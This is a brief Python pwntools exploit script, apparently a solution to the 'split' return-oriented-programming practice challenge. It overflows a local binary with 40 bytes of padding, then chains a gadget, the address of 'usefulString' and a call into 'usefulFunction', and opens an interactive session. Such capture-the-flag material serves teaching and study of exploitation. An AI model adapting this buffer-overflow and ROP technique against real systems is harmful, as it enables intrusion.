#!/usr/bin/env python3
from pwn import *


context.binary = "./split"
prog = process('./split')
payload = b''

for c in range(40): #originally 40
    payload += b'a'

payload += p64(0x00000000004007c3) 
payload += p64(0x0000000000601060) # usefulString
payload += p64(0x000000000040074b) # usefulFunction + offset

prog.sendline(payload)
prog.interactive()